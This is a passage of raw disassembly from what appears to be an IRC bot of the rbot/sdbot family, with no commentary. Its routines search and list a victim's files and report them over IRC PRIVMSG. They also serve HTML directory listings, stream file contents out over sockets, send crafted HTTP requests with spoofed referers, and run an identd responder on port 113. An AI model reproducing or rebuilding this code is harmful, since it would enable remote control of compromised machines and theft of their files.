		jnz	short loc_406C2C
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_406C2C
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_406C2C
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_406C46
; ---------------------------------------------------------------------------


loc_406C2C:				; CODE XREF: sub_406B82+7Aj
					; sub_406B82+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_406C3C
		push	5Ch
		pop	eax
		jmp	short loc_406C3F
; ---------------------------------------------------------------------------


loc_406C3C:				; CODE XREF: sub_406B82+B3j
		movsx	eax, al


loc_406C3F:				; CODE XREF: sub_406B82+B8j
		mov	[ebp+ebx+var_210], al


loc_406C46:				; CODE XREF: sub_406B82+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_4158E0
		cmp	esi, eax
		pop	ecx
		jb	short loc_406BEC


loc_406C5C:				; CODE XREF: sub_406B82+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset aSS_0	; "%s%s"
		push	eax
		call	sub_416821
		lea	eax, [ebp+var_314]
		push	offset dword_42C2E0
		push	eax
		call	sub_4176C0
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		call	ds:dword_495374	; GetFileAttributesA
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_406CAA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406CAD
		push	[ebp+arg_0]
		jmp	short loc_406D29
; ---------------------------------------------------------------------------


loc_406CAA:				; CODE XREF: sub_406B82+11Cj
		mov	[ebp+var_4], esi


loc_406CAD:				; CODE XREF: sub_406B82+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_406CBA
		mov	[ebp+var_4], esi


loc_406CBA:				; CODE XREF: sub_406B82+133j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_406D34
		cmp	[ebp+arg_C], edi
		jz	short loc_406D28
		lea	eax, [ebp+var_314]
		push	offset dword_42C2DC
		push	eax
		call	sub_4175E0
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_416821
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_40118B
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_416821
		add	esp, 1Ch
		or	[ebp+var_330], 0FFFFFFFFh
		mov	[ebp+var_31C], esi
		jmp	short loc_406D83
; ---------------------------------------------------------------------------


loc_406D28:				; CODE XREF: sub_406B82+14Fj
		push	ebx


loc_406D29:				; CODE XREF: sub_406B82+126j
		call	dword_4916F4	; closesocket
		jmp	loc_406E2B
; ---------------------------------------------------------------------------


loc_406D34:				; CODE XREF: sub_406B82+14Aj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		call	ds:dword_495360	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_406D83
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_416821
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		call	ds:dword_495370	; GetFileSize
		push	esi
		mov	[ebp+var_330], eax
		call	ds:dword_495358	; CloseHandle


loc_406D83:				; CODE XREF: sub_406B82+1A4j
					; sub_406B82+1CFj
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_42C294
		push	eax
		call	sub_416821
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_40105F
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_43E924[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_401181
		push	edi
		push	edi
		call	ds:dword_49532C	; CreateThread
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43E934[ecx], eax
		jz	short loc_406DFD


loc_406DEB:				; CODE XREF: sub_406B82+279j
		cmp	[ebp+var_318], edi
		jnz	short loc_406E2B
		push	5
		call	ds:dword_495324	; Sleep
		jmp	short loc_406DEB
; ---------------------------------------------------------------------------


loc_406DFD:				; CODE XREF: sub_406B82+267j
		push	ebx
		call	dword_4916F4	; closesocket
		call	ds:dword_495328	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_42C244
		push	eax
		call	sub_416821
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_401014
		add	esp, 10h


loc_406E2B:				; CODE XREF: sub_406B82+1ADj
					; sub_406B82+26Fj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_406B82	endp

; ---------------------------------------------------------------------------
		db 0ACh	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406EDE	proc near		; CODE XREF: sub_401118j

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_415CA0
		mov	edi, [ebp+arg_0]
		push	offset dword_42C2E0
		push	edi
		call	sub_4176C0
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_406F3D
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_4163D7
		add	esp, 14h
		jmp	loc_40703A
; ---------------------------------------------------------------------------


loc_406F3D:				; CODE XREF: sub_406EDE+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_407020
		call	sub_4158E0
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_4163D7
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4158E0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4916AC	; send
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_4163D7
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4158E0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4916AC	; send
		push	edi
		call	sub_4158E0
		push	3Ch
		push	96h
		mov	byte ptr [eax+edi], 2Ah
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_4163D7
		add	esp, 1Ch
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4158E0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4916AC	; send
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_4163D7
		add	esp, 0Ch
		jmp	short loc_40703A
; ---------------------------------------------------------------------------


loc_407020:				; CODE XREF: sub_406EDE+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_4163D7
		add	esp, 10h


loc_40703A:				; CODE XREF: sub_406EDE+5Aj
					; sub_406EDE+140j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4158E0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4916AC	; send
		cmp	[ebp+arg_C], ebx
		jz	short loc_4070D2
		push	[ebp+arg_C]
		call	sub_4158E0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_4070D2
		push	[ebp+arg_C]
		call	sub_4158E0
		sub	eax, 3
		pop	ecx
		jz	short loc_407086


loc_40707A:				; CODE XREF: sub_406EDE+1A6j
					; DATA XREF: .data:0042A968o ...
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_407086
		dec	eax
		jnz	short loc_40707A


loc_407086:				; CODE XREF: sub_406EDE+19Aj
					; sub_406EDE+1A3j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_416A10
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_4163D7
		add	esp, 1Ch
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4158E0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4916AC	; send


loc_4070D2:				; CODE XREF: sub_406EDE+17Ej
					; sub_406EDE+18Cj
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		call	ds:dword_495388	; FindFirstFileA
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		call	ds:dword_495384	; FindNextFileA
		test	eax, eax
		jz	loc_4074C3
		mov	edi, 1FFh


loc_4070FE:				; CODE XREF: sub_406EDE+5DFj
		cmp	[ebp+var_388], ebx
		jz	loc_4074AB
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4074AB
		lea	eax, [ebp+var_35C]
		push	offset a__0	; "."
		push	eax
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4074AB
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		call	ds:dword_495380	; FileTimeToLocalFileTime
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	ds:dword_49537C	; FileTimeToSystemTime
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_407173
		mov	ecx, offset aAm	; "AM"


loc_407173:				; CODE XREF: sub_406EDE+28Ej
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_40717F
		sub	eax, 0Ch


loc_40717F:				; CODE XREF: sub_406EDE+29Cj
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_416821
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_40732C
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_407200
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_1	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_4163D7
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		push	esi
		push	eax
		call	sub_4163D7
		add	esp, 28h
		jmp	loc_40747C
; ---------------------------------------------------------------------------


loc_407200:				; CODE XREF: sub_406EDE+2DBj
		cmp	[ebp+arg_C], ebx
		jz	loc_4072EA
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_4163D7
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4158E0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4916AC	; send
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_1	; "%s%s/"
		push	edi
		push	eax
		call	sub_4163D7
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4158E0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4916AC	; send
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_4158E0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_4072A0
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_4072A5
; ---------------------------------------------------------------------------


loc_4072A0:				; CODE XREF: sub_406EDE+3B9j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_4072A5:				; CODE XREF: sub_406EDE+3C0j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_4163D7
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4158E0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4916AC	; send
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40746D
; ---------------------------------------------------------------------------


loc_4072EA:				; CODE XREF: sub_406EDE+325j
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_1	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_4163D7
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"


loc_407317:				; CODE XREF: sub_406EDE+476j
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_4163D7
		add	esp, 24h
		jmp	loc_40747C
; ---------------------------------------------------------------------------


loc_40732C:				; CODE XREF: sub_406EDE+2CFj
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_407356
		push	ebx
		push	[ebp+var_368]
		call	sub_401217
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		jmp	short loc_407317
; ---------------------------------------------------------------------------


loc_407356:				; CODE XREF: sub_406EDE+454j
		cmp	[ebp+arg_C], ebx
		jz	loc_407456
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_4163D7
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4158E0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4916AC	; send
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_0	; "%s%s"
		push	edi
		push	eax
		call	sub_4163D7
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4158E0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4916AC	; send
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_4158E0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_4073F6
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_4073FB
; ---------------------------------------------------------------------------


loc_4073F6:				; CODE XREF: sub_406EDE+50Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_4073FB:				; CODE XREF: sub_406EDE+516j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_4163D7
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4158E0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4916AC	; send
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_4163D7
		add	esp, 1Ch
		jmp	short loc_40747C
; ---------------------------------------------------------------------------


loc_407456:				; CODE XREF: sub_406EDE+47Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"
		push	esi


loc_40746D:				; CODE XREF: sub_406EDE+407j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_4163D7
		add	esp, 18h


loc_40747C:				; CODE XREF: sub_406EDE+31Dj
					; sub_406EDE+449j ...
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4158E0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4916AC	; send
		cmp	[ebp+arg_8], ebx
		jz	short loc_4074AB
		push	7D0h
		call	ds:dword_495324	; Sleep


loc_4074AB:				; CODE XREF: sub_406EDE+226j
					; sub_406EDE+241j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_495384	; FindNextFileA
		test	eax, eax
		jnz	loc_4070FE


loc_4074C3:				; CODE XREF: sub_406EDE+215j
		push	[ebp+arg_0]
		call	ds:dword_495378	; FindClose
		cmp	[ebp+arg_8], ebx
		jz	short loc_407506
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_401217
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_401217
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_416821
		add	esp, 14h
		jmp	short loc_40753A
; ---------------------------------------------------------------------------


loc_407506:				; CODE XREF: sub_406EDE+5F1j
		cmp	[ebp+arg_C], ebx
		jz	short loc_407520
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_416821
		pop	ecx
		pop	ecx
		jmp	short loc_40753A
; ---------------------------------------------------------------------------


loc_407520:				; CODE XREF: sub_406EDE+62Bj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_416821
		add	esp, 10h


loc_40753A:				; CODE XREF: sub_406EDE+626j
					; sub_406EDE+640j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4158E0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4916AC	; send
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_406EDE	endp

; ---------------------------------------------------------------------------
		db 1A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407700	proc near		; CODE XREF: sub_401203j

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		call	ds:dword_495360	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_4077B8
		push	esi
		push	ebx
		call	ds:dword_495370	; GetFileSize
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_4077B1


loc_407745:				; CODE XREF: sub_407700+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_415CA0
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_407762
		mov	edi, [ebp+arg_4]


loc_407762:				; CODE XREF: sub_407700+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	ds:dword_495390	; SetFilePointer
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		call	ds:dword_49538C	; ReadFile
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4916AC	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4077AC
		call	dword_4915F0	; WSAGetLastError
		cmp	eax, 2733h
		jnz	short loc_4077B1
		xor	eax, eax


loc_4077AC:				; CODE XREF: sub_407700+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_407745


loc_4077B1:				; CODE XREF: sub_407700+43j
					; sub_407700+A8j
		push	ebx
		call	ds:dword_495358	; CloseHandle


loc_4077B8:				; CODE XREF: sub_407700+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_407700	endp

; ---------------------------------------------------------------------------
		db 2Fh dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4077EC	proc near		; CODE XREF: sub_40118Bj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_4158E0
		test	eax, eax
		pop	ecx
		jbe	short loc_407815


loc_4077FF:				; CODE XREF: sub_4077EC+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_407809
		mov	byte ptr [esi+edi], 2Fh


loc_407809:				; CODE XREF: sub_4077EC+17j
		push	edi
		inc	esi
		call	sub_4158E0
		cmp	esi, eax
		pop	ecx
		jb	short loc_4077FF


loc_407815:				; CODE XREF: sub_4077EC+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4077EC	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(0CCh)
; ---------------------------------------------------------------------------


loc_407825:				; CODE XREF: .text:00401145j
		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp-4A0h]
		push	edi
		push	eax
		push	101h
		call	dword_4915D4	; WSAStartup
		push	6
		push	1
		push	2
		call	dword_4916DC	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp-10h]
		push	edi
		push	eax
		call	sub_415CA0
		add	esp, 0Ch
		mov	word ptr [ebp-10h], 2
		push	dword ptr [ebp+1Ch]
		call	dword_49165C	; htons
		push	dword ptr [ebp+18h]
		mov	[ebp-0Eh], ax
		call	sub_4011C2
		pop	ecx
		mov	[ebp-0Ch], eax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	ebx
		call	dword_491604	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_407902
		mov	eax, [ebp+28h]
		cmp	eax, edi
		jnz	short loc_40789E
		mov	eax, offset byte_4370BC


loc_40789E:				; CODE XREF: .text:00407897j
		push	esi
		mov	esi, 100h
		push	dword ptr [ebp+18h]
		push	eax
		lea	eax, [ebp-110h]
		push	dword ptr [ebp+24h]
		push	dword ptr [ebp+20h]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_4163D7
		add	esp, 1Ch
		lea	eax, [ebp-110h]
		push	edi
		push	eax
		call	sub_4158E0
		pop	ecx
		push	eax
		lea	eax, [ebp-110h]
		push	eax
		push	ebx
		call	dword_4916AC	; send
		push	esi
		lea	eax, [ebp-110h]
		push	edi
		push	eax
		call	sub_415960
		add	esp, 0Ch
		lea	eax, [ebp-110h]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_491674	; recv
		pop	esi


loc_407902:				; CODE XREF: .text:00407890j
		push	ebx
		call	dword_4916F4	; closesocket
		call	dword_4915BC	; WSACleanup
		lea	eax, [ebp-110h]
		push	eax
		lea	eax, [ebp-310h]
		push	eax
		call	sub_416821
		cmp	[ebp+14h], edi
		pop	ecx
		pop	ecx
		jnz	short loc_407942
		push	edi
		lea	eax, [ebp-310h]
		push	dword ptr [ebp+10h]
		push	eax
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_4010D2
		add	esp, 14h


loc_407942:				; CODE XREF: .text:00407927j
		pop	edi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db 48h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40798E:				; CODE XREF: sub_401195j
		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp-1Ch]
		push	esi
		push	eax
		mov	[ebp-8], esi
		call	sub_415CA0
		add	esp, 0Ch
		mov	word ptr [ebp-1Ch], 2
		push	71h
		call	dword_49165C	; htons
		push	esi
		push	1
		push	2
		mov	[ebp-1Ah], ax
		mov	[ebp-18h], esi
		call	dword_4916DC	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_407AEF
		mov	eax, [ebp+8]
		push	edi
		imul	eax, 234h
		mov	dword_43E92C[eax], ebx
		lea	eax, [ebp-1Ch]
		push	eax
		push	ebx
		call	dword_491688	; bind
		cmp	eax, 0FFFFFFFFh
		jz	loc_407AEF
		push	5
		push	ebx
		call	dword_491684	; listen
		cmp	eax, 0FFFFFFFFh
		jz	loc_407AEF
		mov	[ebp-0Ch], edi
		mov	edi, 200h


loc_407A19:				; CODE XREF: .text:00407A78j
					; .text:00407AD8j ...
		lea	eax, [ebp-0Ch]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	ebx
		call	dword_4916F0	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_407AEA
		movzx	eax, word ptr [ebp-2Ah]
		push	eax
		push	dword ptr [ebp-28h]
		call	dword_4916E8	; inet_ntoa
		push	eax
		lea	eax, [ebp-238h]
		push	offset unk_42C8D0
		push	eax
		call	sub_416821
		lea	eax, [ebp-238h]
		push	eax
		call	sub_401014
		add	esp, 14h
		lea	eax, [ebp-238h]
		push	esi
		push	edi
		push	eax
		push	dword ptr [ebp-4]
		call	dword_491674	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_407A19
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_4010D7
		push	0Ch
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_415CA0
		push	esi
		push	esi
		lea	eax, [ebp-38h]
		push	2
		push	eax
		call	sub_401343
		push	eax
		push	offset aUseridUnixS ; "	: USERID : UNIX	: %s\r\n"
		lea	eax, [ebp-238h]
		push	edi
		push	eax
		call	sub_4163D7
		add	esp, 34h
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_4158E0
		pop	ecx
		push	eax
		lea	eax, [ebp-238h]
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4916AC	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_407A19
		mov	dword ptr [ebp-8], 1
		jmp	loc_407A19
; ---------------------------------------------------------------------------


loc_407AEA:				; CODE XREF: .text:00407A2Ej
		cmp	[ebp-8], esi
		jnz	short loc_407B16


loc_407AEF:				; CODE XREF: .text:004079D5j
					; .text:004079F9j ...
		call	dword_4915F0	; WSAGetLastError
		push	eax
		lea	eax, [ebp-238h]
		push	offset unk_42C868
		push	eax
		call	sub_416821
		lea	eax, [ebp-238h]
		push	eax
		call	sub_401014
		add	esp, 10h


loc_407B16:				; CODE XREF: .text:00407AEDj
		push	ebx
		call	dword_4916F4	; closesocket
		push	dword ptr [ebp-4]
